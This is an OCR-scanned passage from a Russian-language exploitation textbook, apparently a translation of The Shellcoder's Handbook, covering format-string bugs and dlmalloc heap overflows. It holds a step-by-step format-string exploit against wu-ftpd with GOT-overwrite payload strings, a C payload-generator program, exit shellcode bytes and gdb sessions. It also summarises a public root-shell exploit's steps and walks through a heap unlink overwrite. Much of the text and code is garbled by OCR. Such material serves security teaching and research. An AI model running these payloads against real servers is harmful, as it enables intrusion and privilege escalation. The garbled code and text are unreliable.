вызов printf. Рассмотрим 1лб./1ицу GOT для in.ftpd: objdump -R /usr/sbin/in ftpd * , > ()806d3b0 R_386_JUMP_SL0T printf > 11о лучается, что мы можем перехватить управление, изменив содержимое памя mi по адресу 0x0806d3b0. Наша форматная строка изменит его, после чего (так кик wu-ftpd вызывает printf сразу же после того, как выполнит все положенные /нч'ктвия с форматной строкой) произойдет переход по тому адресу, который мы зададим. Мри повторении предыдущей операции записи адрес printf будет заменен значением Оха, что должно вызвать переход по адресу Оха: /dowu local host $'\xb0\xd3\x06\x08*272$n' 1 Подключив gdb к дочернему FTP-процессу, мы увидим следующее: (ndb) symbol-file /usr/sbin/in ftpd Reading symbols from /usr/sb^n/in ftpd done (gdb) attach 11902 Alt^rhinn fn r>rnrp>c:c: 11Q0?
78 Глава 4. Дефекты форматных строк 0х4015а344 in ?? О (gdb) continue Continuing. Program received signal SIGSEGV, Segmentation fault 0x0000000a in ?? О Выполнение программы было успешно перенаправлено по выбранному нами адресу. Чтобы сделать что-нибудь осмысленное, потребуется внедряемый код (см. главу 3). ПРИМЕЧАНИЕ На мой взгляд, в общем случае для эксплуатации уязвимостей лучше использовать встроенный ассемблер, потому что с ним удобнее работать. Вы можете написать эксплойт, обеспечивающий подключение к сокетам и замену фрагментов внедряемого кода, если в нем что-то не работает или работает не так. Кроме того, встроенный ассемблер гораздо понятнее строковых констант языка С с шестна- дцатеричными кодами. Возьмем небольшой фрагмент заведомо работающего внедряемого кода для вызова exitB): #include <stdio h> #include <stdlib h> int mainO { asm("\ xor %eax. Яеах.\ xor %ecx, %ecx,\ xor %e6x, %edx;\ mov $0x01. Яа1Л xor %ebx, %ebx,\ mov $0x02. *bl.\ int $0x80.\ "). return 1; } Системная функция exit вызывается командой int 0x80. Откомпилируйте программу, запустите и убедитесь в том, что она работает. Нам потребуется лишь несколько байтов, и для хранения кода можно воспользоваться таблицей GOT. Адрес printf находится по адресу 0x0806d3b0. Допустим, запись будет производиться с адреса 0x0806d3b4 и далее. Возникает вопрос — как записать «длинное» значение но выбранному нами адресу? Мы уже знаем, что для записи «короткого» значения можно воспользоваться спецификатором %п. Таким образом, теоретически мы можехМ выполнить четыре операции записи по одному байту, используя младший байт нашего счетчика «символов, выведенных на данный момент». Естественно, это приведет к стиранию трех байтов по соседству с записываемой величиной. /[ругой, более эффективный способ записи основан на применении мо/шфпкл- тра длины h. Модификатор означает, чт следующее целочиелгнииг пртпра
Контроль над исполнением 79 тиаммг будет выполнено с аргументом типа short int или unsigned short int, либо при следующем преобразовании п будет использоваться указатель на аргумент tlmit int. I iikiim образом, при указании спецификатора %hn будет записана 16-разрядная мг/шчмиа. Вероятно, это позволит нам использовать спецификаторы длины и диапазоне 64 Кбайт. Попробуем выполнить следующую команду: /dowu local host $'\xb0\xd3\x06\x08%50000x%272$n' 1 Результат: Program received signal SIGSEGV, Segmentation fault. 0x(H00c35a in ?? () Шгсшадцатеричное число с35а соответствует десятичному 50010; это именно и», чего мы ожидали. Игроитно, стоит дополнительно объяснить, откуда взялось записываемое значение @хс35а). Вернемся немного назад и выполним команду: /do_wu local host abc 0 Демон wu-ftpd отвечает строкой ЛЮ index abc Переданная нами форматная строка добавляется в конец строки index (длина ко юрой составляет шесть символов). Это означает, что при использовании спецификатора %п записывается такое число: () ^ <число символов в строке до %п> + <длина заполнителя> Таким образом, при выполнении следующей команды мы записываем по адресу 0x0806d3b0 значение F+4+50000), или в шестнадцатеричном виде — ОхсЗБа: /dowu localhost $,\xbO\xd3\x06\x08U50000x%272$n' 1 Теперь попробуем записать величину 0x41414141 по адресу printf: /dowu locahost $'\xb0\xd3\x06\x08\xb2\xd3\x06\x08%16691x%272$n%273$n' 1 Результат: Program received signal SIGSEGV. Segmentation fault 0x41414141 in V () ( медовательно, произошел переход по адресу 0x41414141. Впрочем, мы немного смухлевали и записали одно значение @x4141) дважды: по адресу, определяемому параметром 272, и по адресу параметра 273, для чего был указан еще одни позиционный параметр %273$п. Ргли потребуется записать серию байтов, строка усложняется. Следующая вепо- мшагельная программа упростит задачу. //include <stdio h> //include <stdlib h> int safe_strcat( char *dest. char *src. unsigned dest_len ) { if( ( dest == NULL ) || ( sre == NULL ) ) return 0. if ( slrlerU sre ) + strlen( dest ) + 10 >¦= del Iсмi )
80 Глава 4. Дефекты форматных строк return 0; strcat( dest, src ); return 1, } int err( char *msg ) { printf("$s\n", msg); return 1. } int main( int argc, char *argv[] ) { // Измените следующие строки, чтобы переслать процессу // wu-ftpd другие данные .. char *stnng_to_upload = "тагу had a little lamb"; unsigned int addr = 0x0806d3b0; // Смещение параметра, "содержащего" начало строки unsigned int paramjium = 272; char buff[ 4096 ] = "", int buff_size = 4096, char tmpC 4096 ] = ""; int i, j. num_so_far = 6, num_to_print, num_so_far_mod, unsigned short s, char *psz; int num_addresses, a[4]. // Сначала вычислить количество адресов по формуле // num bytes / 2 + num bytes mod 2. num_addresses = (strlen( string_to_upload ) / 2) + strlen( string_to_upload) % 2; for( i = 0, i < num_addresses. i++ ) { a[0] = addr & Oxff; a[l] = (addr & OxffOO) » 8, a[2] = (addr & OxffOOOO) » 16; a[3] = (addr) » 24, sprintf( tmp, "\\x% 02x\\x% 02x\\x? 02x\\x? 02x" a[0], a[l], a[2]. a[3] ). if( > safe__strcat( buff. tmp. buff_size )) return err("Oops Buffer too small "), addr += 2. num_so_far += 4. } ~ _ printf( "Xs\n". buff ),
Контроль над исполнением 81 // Пересылка строки по 2 байта psz = stnng_to_upload; while( (*psz != 0) && (*(psz+l) != 0) ) { // Количество символов для вывода (so_far % 64k)==s // s = *(unsigned short *)psz. num_so_far_mod = num_so_far &0xffff; num_to_print = 0; if( num_so_far_mod < s ) num_to_pnnt = s - num_so_far_mod, else if( num_so_far_mod > s ) num_to_print = 0x10000 - (num_so_far_mod - s); // Если num_so_far_mod и s равны, "выводим" s num_so_far += num_to_print, // Вывести разность в символах if( num to print > 0 ) { spnntf( tmp, "%%%6x", num_to_pnnt ); if(!safe_strcat( buff, tmp, buff_size )) return err("Buffer too small "). } // Пересылка "короткого" значения spnntf( tmp. "rod$hn", param_num ); if( !safe_strcat( buff. tmp. buff_size )) return err("Buffer too small "), psz += 2. param num++, } printf( "fcsNn", buff ). spnntfC tmp. " /dowu localhost $'^s' l\n". buff ). system( tmp ). return 0, Ирифпмма обслуживает код dowu, написанный ранее, и записывает заданную • (року (шагу had a little lamb) по адресу внутри таблицы GOT. I « 'in включить отладку wn-ftpd и проверить содержимое только что записан ной области памяти, мы увидим следующее: /, 0x0806d3b0 и ЖНхМЬО <_GL0BAL_0FrSET_TABLE_+416> "тагу had a little 1.1ш1Л(Ш<Л220 \017PVY\004 (etc)
82 Глава 4. Дефекты форматных строк Итак, мы можем записать произвольную последовательность байтов практически но любому адресу памяти. Теперь можно переходить к эксплуатации уязвимости. Если откомпилировать приведенный ранее внедренный код exit, а затем отладить его в gdb, мы получим следующее представление ассемблерных команд в виде байтов: \x31\xc0\x31\xc9\x31\xd2\xb0\x01\x31\xdb\xb3\x02\xcd\x80 Таким образом, мы получаем строковую константу, запись которой будет осуществляться программой gen_upload_string.c: char *string_to_upload = '¦\xb4\xd3\x06\x08\x31\xc0\c31\xc9\x31\xd2\xb0\x01\x31\xdb\xb3\x02\xcd\x80n. // exit@x02); Здесь имеется небольшая тонкость, которую стоит пояснить особо. Начальные четыре байта строки заменяют адрес printf в GOT и обеспечивают передачу управления по заданному нами адресу при вызове printf() после вызова vsnprintf(), создающего уязвимость. В своем примере мы просто записываем свой внедряемый код в GOT, начиная с адреса printf. Конечно, это крайне варварское решение, но оно с минимальными хлопотами позволяет продемонстрировать общую методику. Сеанс gdb для запуска gen_upload с новой строкой выглядит так: [root@vulcan format_string]# ps -aux | grep grp ftp 20578 0 0 0 4 2120 1052 pts/2 S 10-53 0 00 ftpd. localhost 1 [root@vulcan format_string]# gdb (gdb) attach 20578 Attaching to process 20578 0x4015a344 in ?? 0 (gdb) continue Continuing Program exited with code 02 (gdb) Так как мы собираемся выполнить свой код в wu-ftpd, стоит посмотреть, как поступали другие атакующие при эксплуатации данного дефекта. Одним из самых популярных примеров эксплуатации дефекта была программа wuftpd2600.c. Мы уже знаем, как заставить wu-ftpd выполнить код по нашему выбору, поэтому сейчас для нас интерес представляет в первую очередь внедряемый код. В общих чертах он делал следующее: 1. Вызов setreuid()=0 для получения root-привилегий. 2. Вызов dup2() для копирования стандартных манипуляторов (handles), чтобы наш дочерний процесс мог использовать тот же сокет.
Причины дефектов форматных строк 83 I < >пределение местонахождения строковых констант в конце буфера посред- ( том безусловного перехода к команде CALL и последующим извлечением адреса возврата из стека. t Нарушение ограничений chroot многократными вызовами chdir с последующим вызовом chrootQ. 1 Запуск командного процессора вызовом execve(). И Оолыппистве опубликованных случаев эксплуатации дефекта wu-ftpd ис- помьауются либо идентичные, либо чрезвычайно похожие методы. Причины дефектов форматных строк lln почему существуют дефекты форматных строк? Неужели авторы реализации |)rintf() не могут подсчитать количество параметров, переданных при вызо- иг функции, сравнить его с количеством спецификаторов формата в строке и пернуть ошибку в случае несовпадения? К сожалению, это невозможно из-за фундаментальной проблемы, возникающей при обработке функций с переменным числом параметров в С. Дин объявления функции с переменным числом параметров используется син- iiim не вида (особенности переменных списков параметров объясняются в документации man va_arg): void focKchar *fmt. ) Мри пызове функции макрос va_start сообщает стандартной библиотеке С о начине работы с переменным списком аргументов. После этого аргументы извлекаются из стека многократными вызовами va_arg, а макрос va_end сообщает i ипдартной библиотеке С о завершении работы с переменным списком пара- мп рои. Проблема состоит в том, что определить количество передаваемых аргументов ыр.икт не удается, поэтому приходится полагаться на другие механизмы — например, на содержимое форматной строки или присутствие специального аргу- мпиа, равного NULL: Inn ( 1.2,3. NULL). Как пп странно, именно так должна быть организована работа с переменным • щи ком параметров в соответствии со стандартом ANSI C89, поэтому этот ме- •',11 ним поддерживается во всех реализациях. 1емре1ически данная проблема присуща любой С-функции с переменным ко- nrirciHOM аргументов (функция не может определить, где кончается ее список 11>i умешов), хотя на практике такие функции встречаются крайне редко. I ,iMiM образом, ответственность за этот дефект лежит па ANSI и стандарте С89, и как- не па авторах реализаций стандартной библиотеки С.
84 Глава 4. Дефекты форматных строк Обзор приемов эксплуатации дефектов форматных строк Мы добрались до той стадии, на которой можно переходить к эксплуатации дефектов форматных строк в Linux. Далее приводится краткая сводка основных принципов и приемов, упоминавшихся в этой главе: 1. Если форматная строка хранится в стеке, мы можем передать используемые параметры посредством включения форматных спецификаторов в строку. Одно из смещений, которое нам придется подбирать, определяет количество параметров до начала форматной строки. Имея возможность задавать параметры, мы можем: • читать содержимое памяти целевого процесса при помощи спецификатора %s; • записывать количество символов, выведенных до настоящего момента, по произвольному адресу при помощи спецификатора %п; • изменять количество символов, выведенных до настоящего момента, при помощи модификаторов ширины; • использовать модификатор %hn для записи 16-разрядных чисел, что позволяет записывать произвольные данные по выбранным нами адресам. 2. Если адреса, по которым требуется произвести запись, содержат один или несколько нулевых байтов, вы по-прежнему можете пользоваться модификатором %п для записи, но делать это придется в два этапа. Сначала адрес, по которому должна осуществляться запись, записывается в один из параметров в стеке (для этого необходимо знать местонахождение стека). Далее спецификатор %п применяется для записи по нужному адресу при помощи параметра, записанного в стек. Кроме того, если адрес начинается с нулевого байта (как это часто бывает при эксплуатации дефектов форматных строк в Windows), можно воспользоваться завершающим нулевым байтом самой форматной строки. 3. Механизм прямого доступа к параметрам (в Linux-реализациях функций семейства printf) позволяет многократно использовать стековые параметры в одной форматной строке, а также работать только с теми параметрами, которые нас интересуют. При прямом доступе к параметрам применяется модификатор $; например, следующая строка выводит из стека 272-й параметр: Это чрезвычайно полезная возможность. 4. Если по какой-то причине невозможно задействовать %hn для записи 16-разрядных данных, можно воспользоваться побайтовой записью и %п: просто следует выполнить четыре операции записи вместо одной и подгонять количество выводимых символов так, чтобы каждый раз записывался младший байт. В табл. 4.1 показано, как производится запись значения 0x04030201 по адресу X.
Обзор приемов эксплуатации дефектов форматных строк 85 Тйблица 4.1. Запись по адресам памяти Адрес X Ьшись по адресу X 0x01 1мпись по адресу Х+1 Ьшись по адресу Х+2 liii 1ись по адресу Х+3 (!пстяние памяти после четырех 0x01 пмпрлций записи Х+1 0x01 0x02 0x02 Х+2 0x01 0x02 0x03 0x03 Х+3 0x01 0x02 0x03 0x04 0x04 Х+4 0x02 0x03 0x04 0x04 Х+5 0x03 0x04 0x04 Х+6 0x04 0x04 11«-достаток такой методики записи состоит в том, что мы стираем три байта по- ( чс четырех записанных байтов. В зависимости от структуры памяти это может оказаться несущественно, но это одна из причин, из-за которых эксплуатация лгфектов форматных строк в Windows считается делом хлопотным. ( Знакомившись с базовыми принципами чтения и записи, давайте посмотрим, •мо можно делать с их помощью. •> Перезапись сохраненного адреса возврата. Для этого необходимо определить местонахождение сохраненного адреса возврата (грубой силой, методом проб и ошибок или средствами чтения/анализа данных). • > I к'резапись другого указателя на функцию, специфического для конкретного приложения. Обычно этот путь бывает довольно сложным, потому что и большинстве программ указатели на функции недоступны. Впрочем, если обьектом атаки является приложение C++, возможно, вам удастся найти какой-нибудь полезный указатель. > Перезапись указателя на обработчик исключения с последующим инициированием исключения. Вероятность успеха очень велика, а адреса обычно легко подбираются. • > 11ерезапись элемента таблицы GOT. В частности, этот способ был применен для эксплуатации уязвимости wu-ftpd. ¦» Перезапись обработчика atexit. Возможность применения зависит от специфики объекта атаки. • > 11срезапись элементов таблицы DTORS. ¦ > Преобразование дефекта форматной строки в переполнение стека или кучи за счет замены завершающего нуль-символа ненулевыми данными. Путь непростой, но результаты иногда бывают весьма любопытными. > Замена служебных данных приложения (скажем, хранимых значений IIII) ими GID) другими данными по вашему усмотрению. » Изменение строк с текстом команд. I < ми выполнение кода в стеке запрещено, проблема легко решается следующим <н »|м юм. ¦ » Напишите внедряемый код но выбранному вами адресу памяти, используя ( пецпфикагоры %п. Это было сделано в примере wu-ftpd. > 11< пм/п. iviiтс C)r jvc lomii.iii ncnrxo/i но соигпжпмому ixm не i m
86 Глава 4. Дефекты форматных строк Например, если внедряемый код находится по адресу esp+0x200, то в таблицу GOT записываются команды add $0x200. Uesp jmp esp Этот небольшой фрагмент осуществляет переход к основному коду, поэтому при замене указателя на функцию (записи GOT или другого) управление будет передано нашему внедряемому коду. Аналогичный прием работает и с другими регистрами, которые после обработки форматной строки содержат адрес внедряемого кода или близкие к нему адреса. Более того, не так уж трудно написать небольшой фрагмент внедряемого кода, который будет определять местонахождение основного буфера с внедряемым кодом и передавать ему управление. За дополнительной информацией обращайтесь к превосходной статье Гера и Рика (Gera & Riq) в журнале «Phrack» по адресу www.phrack.org/show.php?p=59&a=7. Итоги В этой главе представлены некоторые идеи по использованию дефектов форматных строк. Хотя на практике дефекты форматных строк встречаются все реже, они заложены в основу многих методов атак, и поэтому заслуживают внимания.
ГЛАВА 5 Переполнение кучи i hи i лава посвящена переполнению кучи на платформе Linux при использовании функции malloc(), автором исходной версии которой был Дуг Ли (Doug I ее); отсюда название dlmalloc. Кроме того, представленные концепции пригодней и для других реализаций функции malloc(). Написание внедряемого кода /cm переполнения кучи может рассматриваться как своего рода «переход на но- иую ступень», после которого вы научитесь мыслить за пределами тривиально- ю перехвата значения EIP, сохраненного в стеке. Dlmalloc — всего лишь одна из многих библиотек, хранящих важные метаданные вместе с пользовательскими /питыми. Глубокое понимание дефектов функции malloc поможет вам открыть моимг способы эксплуатации уязвимостей, не относящихся ни к одной из тра- лпцпоиных категорий. < им Дуг Ли написал великолепный обзор функций malloc, размещенный на его (nine (http://gee.cs.oswego.edu/dl/html/malloc.html). Если вы не знакомы с реа- /ш.ицпей dlmalloc, прочитайте эту статью перед чтением настоящей главы. Хотя hoi материал выходит за рамки концепций, необходимых для эксплуатации ун.ншмоетей, в современной версии glibc в исходную реализацию были внесены многочисленные изменения, обусловленные поддержкой многопоточности и оптимизацией для различных ситуаций. Понятие кучи По время выполнения программы у каждого программного потока (thread) имеем я cicK, в котором хранятся локальные переменные. Но для глобальных пере- меппых (и переменных, слишком больших для размещения в стеке) программе феоуек'я другая область памяти, доступная для записи. Более того, объем не- н1»\одпмой памяти может быть неизвестен на стадии компиляции, поэтому та- i иг ( ei менты часто выделяются на стадии выполнения специальной системной функцией. Как правило, Lin их-программы наряду с другими сегментами, ис- |цминуемыми функцией malloc(), содержат сегменты .bss (неинициализированные i мобильные переменные) и .data (инициализированные глобальные переменные) Память в них выделяется системной функцией brk() или mmap(). Для и|ннмо||>а этих сегментов применяется gdb-комаида maintenance info sections ll<e ( ei менты с поддержкой записи обозначаются термином «куча», хотя на ирлмикс «полноценной» кучей часто считаются только сегменты, специально
88 Глава 5. Переполнение кучи предназначенные для функции malloc(). С точки зрения хакера важна не терминология, а лишь тот факт, что любая страница памяти с возможностью записи позволяет перехватить контроль над выполнением программы. Далее приводятся выводимые gdb данные перед запуском программы (basicheap): (gdb) maintenance info sections Exec file. Vhome/dave/BOOK/basicheap'. file type elf32-i386. 0x08049434->0x08049440 at 0x00000434. .data ALLOC LOAD DATA HAS_CONTENTS 0x08049440->0x08049444 at 0x00000440 ehjrame ALLOC LOAD DATA HAS_CONTENTS 0x08049444->0x0804950c at 0x00000444. dynamic ALLOC LOAD DATA HAS_CONTENTS 0x0804950c->0x08049514 at 0x0000050c ctors ALLOC LOAD DATA HAS_CONTENTS 0x08049514->0x0804951c at 0x00000514: dtors ALLOC LOAD DATA HAS_CONTENTS 0x0804951c->0x08049520 at 0x0000051c jcr ALLOC LOAD DATA HAS_CONTENTS 0x08049520->0x08049540 at 0x00000520. got ALLOC LOAD DATA HAS_CONTENTS 0x08049540->0x08049544 at 0x00000540 bss ALLOC Несколько строк из результатов трассировки: brk@) = 0x80495a4 Ьгк@х804а5а4) = 0х804а5а4 Ьгк@х804Ь000) = 0х804Ь000 А вот вывод программы с адресами двух буферов, выделенных функцией malloc(): buf=0x80495b0 buf2=0x80499b8 Наконец, снова выводимые дынные команды maintenance info sections с информацией о сегментах, используемых во время выполнения программы. Обратите внимание на сегмент стека (последний) и сегменты, содержащие указатели (load2): 0х08048000->0х08048000 at 0x00001000 loadl ALLOC LOAD READONLY CODE HAS_CONTENTS 0x08049000->0x0804a000 at 0x00001000 load2 ALLOC LOAD HAS_CONTENTS 0xbfffe000->0xc0000000 at 0x0000f000- loadll ALLOC LOAD CODE HAS_CONTENTS (gdb) pnnt/x $esp $1 = 0xbffffl90 Функционирование кучи Вызывать функцию brk() или mmap() каждый раз, когда программе требуется память, было бы слитком медленно и неудобно. Вместо этого в реализации libc включаются функции mauoc(),realloc() и free(), которые вызываю кя программистом для выделения памяти или после завершения работы с пей
Переполнение кучи 89 Функция malloc() разбивает большой блок памяти, выделенный функцией brk(), Hit фрагменты (chunks), и возвращает пользователю фрагмент при поступлении I.троса (например, если пользователь запросил блок в 1000 байт). Если потре- hycicM, malloc() берет фрагмент большего размера и разбивает его на два меньших фрагмента. Аналогично, при вызове free() функция должна решить, нельзя /hi изять освободившийся фрагмент и объединить его с прилегающими с обеих г трон свободными фрагментами в один большой фрагмент. Объединение снижает фрагментацию (ситуация, когда множество небольших используемых фрагментов чередуется с множеством небольших свободных фрагментов) и по- мшает обойтись без слишком частых вызовов brk(). Любая реализация malloc() хранит большое количество метаданных, описывающих местонахождение фрагментов, их размеры и т. д. Служебная информация чранится в структурированном виде — в dlmalloc она организована в гнезда (buckets), а во многих других реализациях malloc используется сбалансированное дерево (если вы не знаете, как работает структура сбалансированного дере- ми, не огорчайтесь — при необходимости вы всегда найдете эту информацию, мни скорее всего, она вам не понадобится). Информация хранится в двух местах: в глобальных переменных, используемых самой реализацией malloc(), и в блоках памяти, расположенных до и/или после миделенных блоков памяти. Ранее мы уже говорили о стеке, где указатель кадра п указатель команд хранятся непосредственно после буфера, который может оыгь переполнен. Нечто похожее происходит в куче: важная информация о со- ( тяпни памяти хранится непосредственно за буфером, выделенным пользователю. Переполнение кучи Термин переполнение кучи (heap overflow) применяется для описания многих уи.ншмостей. Как обычно, бывает полезно поставить себя па место лрограмми- i ia и попытаться разобраться в дефектах, даже если у вас нет исходного текста приложения. Следующий список не претендует на полноту, а лишь демонстрирует некоторые (упрощенные) реальные примеры: > Samba: memepy(arrayruser_supplied_int], user_supplied_buffer. user_supplied_int2), ¦> Microsoft IIS: buf=ma11oc(user_supplied_i nt+1), memepy(buf,user_buf.user_supplied_i nt), > IIS buf=ma]loc(strlen(user_buf+5)). sLrcpy(buf.user_buf). > Solans Login: buf-=(char **)ma"l"loc(BUF_SIZE). win le (user_buf[i] l==0) { I м i f I i 1=тл1 Iru (< I rlrWiicnr huf Г i 1 i П
90 Глава 5. Переполнение кучи } о Solaris Xsun: buf=mallocA024); strcpy(buf.user_suppl led); Перед вами типичные примеры переполнения кучи — выделение буфера нулевого размера и копирование в него большого числа: buf=ma11 ос(s i zeof(somethi ng)*user_control1ed_i nt); for (i=0; i<user_controlled_int, i++) { if (user_buf[i]==0) break, copyinto(buf.user buf); } В этом смысле переполнение кучи происходит при любом нарушении целостности памяти, не находящейся в стеке. Из-за разнообразия конкретных способов нарушения от них практически невозможно защититься внесением исправлений в компилятор. Кроме того, к категории переполнения кучи относятся дефекты двойного вызова функции free(), но в настоящей главе они не рассматриваются (см. главу 16). Основные принципы переполнения кучи Большинство уязвимостей переполнения кучи основаны на общих принципах: куча (как и стек) содержит данные и служебную информацию, управляющую «восприятием» данных программой. Трюк заключается в том, чтобы заставить реализацию malloc() или free() сделать то, что требуется нападающему — как правило, записать одно-два слова по нужному адресу памяти. Возьмем пример программы и проанализируем его с точки зрения потенциальной уязвимости: /*notvuln с*/ "int maindnt argc. char** argv) { char *buf. buf=(char*)mallocA024). pnntf(,,buf=Sp".buf). strcpy(buf,argv[l]). free(buf), } При атаке этой программы был получен следующий вывод ltrace: [dave@localhost B00K]$ ltrace /notvuln 4perl -e 'print "A" x 5000'ч _libc_start_main@x080483c4, 2, 0xbfffe694. 0x0804829с, 0x08048444 < > malloc(]024) = 0x08049590 pnntf("buf=*p") = 13 strcpy@x8049590, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ) = 0x8049590 free@x08049590) = <void> buf=0x8049590+++ exited (status 0) +++ Как видите, сбоя не произошло. Дело в том, что пользовательская строка не стерла структуру данных, необходимую для вызова free(), хотя ома заменю вы ш/ia за пределы выделенною буфера
Переполнение кучи 91 'Iriirpb рассмотрим другую, уязвимую программу: /Al)dsicheap с*/ int mainOnt argc. char** argv) { diar *buf. char *buf2; huf=(char*)manocA024). I)uf2=(char^)mallocA024), printf("buf=%p buf2=Sp\n\buf.buf2). strcpy(buf,argv[l]); (ree(buf2); I 1\|.|/шчие состоит в том, что уязвимая программа выделяет другой буфер после игриого буфера, который может быть переполнен. Таким образом, в памяти /11 • v i за другом следуют два буфера, и второй буфер портится при переполнении мерного. На первый взгляд это выглядит несколько странно, но если подумать, иге вполне логично. Структура метаданных буфера повреждается при переполнении, и при его освобождении подсистема сбора освободившейся памяти malloc пора ищется по недействительным адресам: |<ldve@localhost В00К]$ 1 trace /basicheap чрег1 -е 'print "А" х 5000* ^ Iibc_start_main@x080483c4. 2, 0xbfffe694. 0x0804829с, 0x0804845с > им 11осA024) = 0х080495Ь0 nidi 1осA024) = 0х080499Ь8 |)rintf("buf=Xp buf2=Sp\n\134518192buf=0x80495b0 buf2=0x80499b8) = 29 '.trcpy@x80495b0. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ) = 0x80495b0 Irce@x080499b8) = <void> SIGSEGV (Segmentation fault) --- "+ killed by SEGSEGV +++ СОВЕТ Если вы не получаете аварийного дампа памяти, не забудьте включить в командную строку ключ ulimit -с umlimited. ПРИМЕЧАНИЕ Когда вы освоите тему переполнения буфера, уязвимую программу можно будет рассматривать как специальный интерфейс API для вызова malloc(), free() и realloc(). Для успешной эксплуатации уязвимости необходимо будет управлять порядком иыделения памяти, размерами буферов и заносимыми в них данными. II рассмотренном примере размер переполняемого буфера и общая структура и.шиш уже известны. Тем не менее, во многих случаях эта информация изна ч.нм.ио недоступна. Приложение может распространяться с закрытыми исход и|.|ми текстами, и даже при доступных исходных текстах структура памяти мо ,мч оказаться чрезвычайно сложной. В таких случаях проще проверять, как1 iipoi рлмма реагирует па различную длину атакующих строк, вместо того, чтобы м ме/п,чайших подробностях анализировать логику работы программы. Тем не менее, действительно надежная эксплуатация уязвпмостей часто требует лпа •in i.i исходных текстов. Разобравшись с простым случаем, мы перейдем к более < чижной лпагноешке и попьпкам .'женлуспацип уязвимоеleii
92 Глава 5. Переполнение кучи Представленный метод показывает, как мы будем манипулировать вызовами malloc(), чтобы спровоцировать переполнение. Бит использования предыдущего фрагмента будет сброшен, а затем длине «предыдущего фрагмента» мы присвоим отрицательное значение. Это позволит нам определить, где расположен наш фрагмент внутри буфера. Реализации malloc, включая реализацию dlmalLoc для Linux, хранят дополнительную информацию в свободных фрагментах. Так как свободный фрагмент не содержит пользовательских данных, он может применяться для хранения информации о других фрагментах. Первые четыре байта пространства, которое обычно занято пользовательскими данными, в свободном фрагменте содержат прямой указатель (то есть указатель на следующий фрагмент), а следующие четыре байта — обратный указатель (то есть указатель на предыдущий фрагмент). Эти указатели мы будем использовать для замены произвольных данных. Команда выполняет программу с переполнением буфера buf и изменением заголовка фрагмента buf2; в заголовок записывается размер OxfffffffO и размер предыдущего фрагмента Oxffffffff. ПРИМЕЧАНИЕ Не забывайте о порядке следования байтов в архитектуре IA32. В некоторых версиях RedHat Linux perl при выводе некоторые символы преобразуются в их Unicode-эквиваленты. Чтобы этого не произошло, мы будем использовать Python. Значения аргументов также можно задать в gdb после выполнения команды запуска: (gdb) run Npython -с 'print "A"*1024+"\xff\xff\xff\xff"+"\xfO\xff\xff\xff"'ч ПРИМЕЧАНИЕ Команда (gdb) x/xw buf-4 позволяет получить длину buf. Даже если программа откомпилирована без включения символической информации, начало буфера часто удается легко определить просмотром содержимого памяти (начало серии А). Длина буфера определяется предшествующим словом: (gdb) x/xw buf-4 0х80495ас 0x00000409 (gdb) printf "%й\г\".0x409 1033 В действительности это число 1032, то есть 1024 плюс 8 байт для хранения информационного заголовка фрагмента. Младший бит является флагом предыдущего фрагмента. Если он установлен (как в приведенном примере), значит, заголовок фрагмента не содержит размера предыдущего фрагмента. Если младший бит равен нулю, вы можете найти предыдущий фрагмент, используя в качестве его размера значение buf-8. Второй бит также является флагом, который указывает, вызывалась ли для выделения фрагмента функция глглар(). Установите точку прерывания в __int_free() на команде, вычисляющей следующий фрш мен i, и вы сможем г ipaccnpoiiaii» работу freeQ (чтоы n.iiiin чу ко
Переполнение кучи 93 м.шду, попробуйте задать размер фрагмента равным 0x01020304 и посмотрите, i /к* произойдет сбой _jnt_free()): ()x42073fdd <_int_free+109>- lea Uedi ,Uesi ,1) Десх При достижении точки прерывания программа выводит следующее: buf=0x80495b0 buf2=0x80499b8 Мосле :>того выполнение прерывается: (<jdb) pnnt/x $ed~i 1.10 = OxfffffffO (()db) pnnt/x $esi Ш = 0x80499b0 K.ik ипдите, текущий фрагмент (для buf) хранится в регистре ESI, а размер — и регистре EDI. Версия free() из библиотеки glibc была изменена по сравнению г исходной реализацией dlmalloc. Трассируя свою реализацию, вы заметите, что и (юл ынинстве случаев free() представляет собой простую оболочку для intfree. Посмотрите на две ассемблерные команды поиска предыдущего фрагмента и hee(): 0x42073ff8 <_int_free+136> mov 0xfffffff8Uedx) Деах 0x42073ffb <_int_free+139> sub Ueax.Uesi И первой команде (mov 0x8(%esi),%edx) параметр %edx содержит 0х80499Ь8, адрес освобождаемого буфера buf2. Восемью байтами ранее хранится размер пре- лидущего буфера, который теперь сохраняется в %еах. Конечно, мы заменили но значение, которое раньше было равно 0, и теперь оно равно Oxffffffff (-1). Ио иторой команде (add %eax,%edi) в параметре %esi хранится адрес заголовка идущего фрагмента. Размер предыдущего буфера вычитается из адреса текущею фрагмента для получения адреса заголовка предыдущего фрагмента. Конечно, после замены размера значением -1 ситуация пойдет по другому пути. И следующих командах (макрос unlink()) происходит перехват управления: (Jx12073ffd <_int_free+141>- mov 0x8Uesi) ,%edx 0x42074000 <_int_free+144> add Ueax.Uedi 0x42074002 <_int_free+146>- mov OxcUesi) Деах; UNLINK 0x42074005 <_int_free+149>. mov Ueax.OxcUedx), UNLINK 0x42074008 <_int_free+152>: mov Xedx.0x8(*eax), UNLINK In,пение %esi изменено таким образом, чтобы оно ссылалось на известный ад- рее пользовательского буфера. В следующих командах мы можем управлять in,пениями %edx и %еах, применяемыми в качестве аргументов для записи и намять. Дело в том, что благодаря нашим манипуляциям заголовком фраг- мепы buf2 функция free() при вызове считает, что область памяти в buf2 (нало- ^чщанея под нашим контролем) является заголовком фрагмента неиспользуемой) блока памяти. < чедующая команда run (при задании первого аргумента с помощью Python) » n.i'Li/ia заполняет buf, а затем заменяет в заголовке фрагмента buf2 размер нре u.L'ivmero фрагмента на -4. Затем мы вставляем четыре байта заполнения, но • 'и- чею %edx солепжш cmoicv ABCD. а %еах - ctdokv EFGH*
